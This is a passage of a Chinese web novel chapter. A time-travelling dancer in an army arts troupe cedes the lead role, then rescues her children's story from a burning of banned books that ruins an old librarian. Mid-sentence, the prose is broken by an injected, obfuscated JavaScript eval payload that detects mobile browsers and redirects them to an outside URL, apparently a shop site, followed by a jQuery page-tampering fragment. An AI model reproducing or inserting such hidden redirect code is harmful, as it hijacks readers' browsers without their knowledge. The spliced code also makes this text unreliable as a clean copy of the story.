野炊之后,团里气氛缓和不少,彼此之间少了试探,多了几分自在。
只是兆悦依旧是老样子,话少、分寸感强,从不主动凑近谁,也不刻意融入谁。
小芭蕾怯生生来找她纠正动作,她都会简洁地点两句。
日子就这样平淡有序地过着,像一潭缓流的水。
平静很快被团里的献礼任务打破。
要排一支重要舞蹈,需要定主舞。
这几年,主舞一直是萧穗子。
她十二岁进文工团,功底扎实、资历深、队形熟,跟全队配合默契,是公认稳妥的人选。
而新来的兆悦胜在身段气质更出挑、技巧更灵动,两人实力不相上下,真要同台竞争,胜负只在分毫之间。
分队长还在斟酌如何安排,兆悦先淡淡开了口:“主舞还是穗子来吧,她熟。”
语气平常,没有谦让的姿态,也没有不甘,只是陈述一个她觉得合理的决定。
萧穗子当场怔住,心里又酸又热,眼眶微微一红,上前一步,声音轻而认真:“兆悦,谢谢你……谢谢你。”
兆悦抬眼看向她,语气平静,没有多余情绪:“不用谢,你站在那里,本来就合适。”
一句话,说得坦荡又实在,没有半点施舍的意味。萧穗子心里更暖,重重地点了点头。
郝淑雯也意外。在她一贯的认知里,家境优渥的子弟大多争强好胜,凡事都要拔得头筹、占尽风头,可兆悦偏偏不一样。
不争不抢,不卑不亢,明明有更亮眼的资本,却活得清醒又克制。这一瞬,她是真的对兆悦改观了。
没人知道,兆悦让出主舞,并非全然大度。
近来她的心,早已落在了营区角落那间不起眼的档案书屋。
看管书屋的是个沉默寡言的小老头,整日守着一屋纸页,不问世事。
明面上摆放的全是允许公开的书籍,那些被禁、边缘、或是年代稍远的读物,早已被收缴销毁,可老头私下里,还悄悄藏着一批擦着界限的书。
兆悦带来的几本书早已和萧穗子翻来覆去看了无数遍,枯燥得很。
一日午后,她停在书屋门口,犹豫片刻,轻轻敲了敲门。
老头抬起头,眼神浑浊却清亮,看了她一眼,没说话。
兆悦语气平淡,态度规矩:“老爷爷,我想借本书看,不知道方不方便。”
老头沉默几秒,哑声开口:“外面的,自己拿。”
顿了顿,又补了一句,声音很轻:“别乱翻。”
“我知道。”兆悦点头。
一来二去,竟慢慢熟络起来。老头惜她是真读书、真懂文字,不似旁人那般浮躁,便悄悄把压箱底的藏书拿给她。兆悦如获至宝,一得空便往书屋跑,一待就是一下午。
有时两人同处一室,半天不说一句话,只各自对着纸页,安静得只剩翻书声。
那天她心神放松,将自己刚写完的一叠文稿轻轻放在老头桌上。
“爷爷,我写了点东西,您要是有空,能不能帮我看看?”
老头拿起稿子,翻了两页,声音依旧沙哑:“儿童故事?”
“是。”兆悦轻声应,
“没别的意思,就是写着玩玩。”
老头“嗯”了一声,没再多问,随手放在了一边。
他没说好看,也没说不好看,可兆悦看得出来,他不讨厌。
这篇儿童故事,讲一只流浪狗与一个流浪男孩相依为命,没有宏大叙事,没有政治色彩,只有柔软的陪伴与温暖。
这是她来到这个陌生时代后,唯一的情绪寄托,一笔一画,全是她的心血与心绪。
她从未想过,这叠薄薄的文稿,会引来一场大祸。
团里早有人盯着老头看管书屋的差事,一心想把人挤走,换上自家亲戚。苦于一直没有由头,如今听说老头私下藏书,立刻抓住机会大做文章,上纲上线,誓要把老头彻底拉下马。
兆悦还在训练厅压腿,门外忽然传来两句细碎的议论。
“管档案的那个老头藏了一堆禁书,现在全被拖到院子里烧了!”
“小声点,这阵子风声那么紧,别惹祸上身。”
兆悦的脸色瞬间一白。
她猛地站起身,动作急得撞在了把杆上,却浑然不觉疼痛。
老头……她的书……她亲手写的故事……
无数念头在脑海里炸开,她再也顾不上训练,甩开步子就往外冲。
“悦儿姐!”杭春明脸色一变,立刻快步跟上。
他从未见过兆悦这般失态。
平日里无论遇到什么,她都是镇静自持、分寸不乱,一举一动都沉稳得不像同龄人。
可此刻,她脚步慌乱,神色紧绷,连脊背都绷得僵直,显然是出了天大的事。
院子里早已围满了人。
火堆在空地中央噼啪燃烧,书页在火舌中卷曲、焦黑、化为飞灰。
小老头被人死死拦在一旁,花白的头发凌乱不堪,佝偻着身子,嘴唇哆嗦着,什么话也说不出来。
围观的人里三层外三层,却没有一个人敢上前。
风声鹤唳,人人自危,谁都怕沾上一星半点牵连,引火烧身。
兆悦挤开人群,一眼就看见火堆边缘,那叠熟悉的文稿纸安安静静放在一旁,还没被火苗碰到,可再晚一步,立刻就会被卷进火里。
那是她的故事。
人群里,林丁丁忽然轻轻开口,声音不大不小,恰好能落入周围人耳中:“哎呀,我最近经常看见兆悦在书屋那边看书写字,和老爷爷走得可近了……应该不会是……我肯定是想多了,兆悦不是那样的人。”
明着是替她辩解,暗里却是字字栽赃,把矛头直直指向兆悦。
兆悦连一个眼神都没分给她,仿佛那人与空气无异。
杭春明却先一步沉了脸,往前一站,直直挡在兆悦身侧:“林丁丁,没凭没据的话别乱讲,你少往别人身上泼脏水。”
林丁丁脸色一白,咬着唇不再说话,眼底却藏着掩不住的怨毒。
这些日子,她早已刻意接近宋子轩,得知他是高干子弟后,更是日日软言细语、刻意讨好。
可她渐渐发现,宋子轩对她的亲近,不过是移情与赌气——你兆悦看不上我,我便找旁人来气你。
得知真相的林丁丁又羞又怒,彻底破防,把所有怨气都算在了兆悦身上,巴不得她立刻栽跟头、受处分。
就在所有人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309093|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
屏息观望、不敢动弹之际,兆悦做出了一件谁也意想不到的事。
她往前一步,毫不犹豫地伸手探向火堆边缘,飞快一夹,将那叠完好无损、还未烧着的文稿稳稳抢了出来。
“你干嘛!”
一声惊喝几乎是同时从两个方向炸开。
陈灿冲得最快,脸色发白,眼底全是压不住的慌与急。杨铮也紧随其后上前,神色同样紧张。
两人一左一右凑到兆悦身边,目光都钉在她刚刚伸过火边的手上。
“你疯了?”陈灿声音都绷得发紧,没有半分责备,全是后怕与心疼,“伸手进去干什么?快给我看看手有没有事。”
杨铮也跟着点头,语气急促:“兆悦,这太危险了,别拿自己开玩笑。”
一旁的杨铮看着陈灿这副失态模样,心里瞬间就明白了。
这早就超出了普通队友的界限。
兆悦轻轻收回手,指尖只是微微泛红,并无烫伤。她把文稿紧紧攥在手里,淡淡摇头:“我没事。”
可这一举动,已经把在场所有人都惊得屏住了呼吸。
在这样风声鹤唳的时刻,当众伸手去抢堆在禁书文稿,无异于把自己往风口浪尖上送。
动静闹得太大,宁政委很快闻讯赶来。
林丁丁躲在人群后面,眼底飞快掠过一丝暗喜。
郝淑雯皱紧眉头,语气冷淡,带着几分落井下石:“政委,兆悦也太鲁莽了,明知道现在是什么形势,还敢这么做。”
萧穗子站在一旁,又怕又急,小声替她辩解:“政委,我们平时只是互相借一些能看的书,没有别的……”
可她人微言轻,微弱的声音很快就被周围的议论盖了过去。
兆悦被带去了办公室。
她神色平静,没有辩解,只淡淡陈述:“是我写的儿童小故事,拿给老爷爷,只是想让他帮忙看看,没有别的意思。”
政委早已把文稿收上去看过。
内容干净,只是一个温暖简单的小故事,没有任何问题。
可他也清楚,兆悦太扎眼,太多人盯着她,一点小事都能被无限放大。
他语气沉定:“文章本身没什么问题,但现在这个时候,不能出半点岔子。你平时性子太独,和大家处好关系。这件事到此为止,这份东西,不要再让任何人看见。”
兆悦浑浑噩噩地站起来。
现实世界里,她是受人喜爱的儿童文学作家,笔下的故事被孩子珍视。
可在这里,她认认真真写下的心血,差点被付之一炬,还要被当成隐患。
时代的冰冷与重压,第一次这么真切、这么残忍地砸在她身上。
她强撑着最后一点镇定,找到王政委,声音微微发颤:“那位老爷爷……会怎么样?”
宁政委的回答冷静而直白,在兆悦听来近乎冷血:“年纪大了,按规矩处理,后果不会轻。”
批斗、追责、彻底毁掉。
兆悦站在走廊里,浑身发冷。
所有的镇静、所有的克制、所有在这个时代强装出来的坚强,在这一刻,彻底崩断。
她没有哭,没有闹,只是眼神空了一瞬。
她缓缓转过身,一步一步往外走。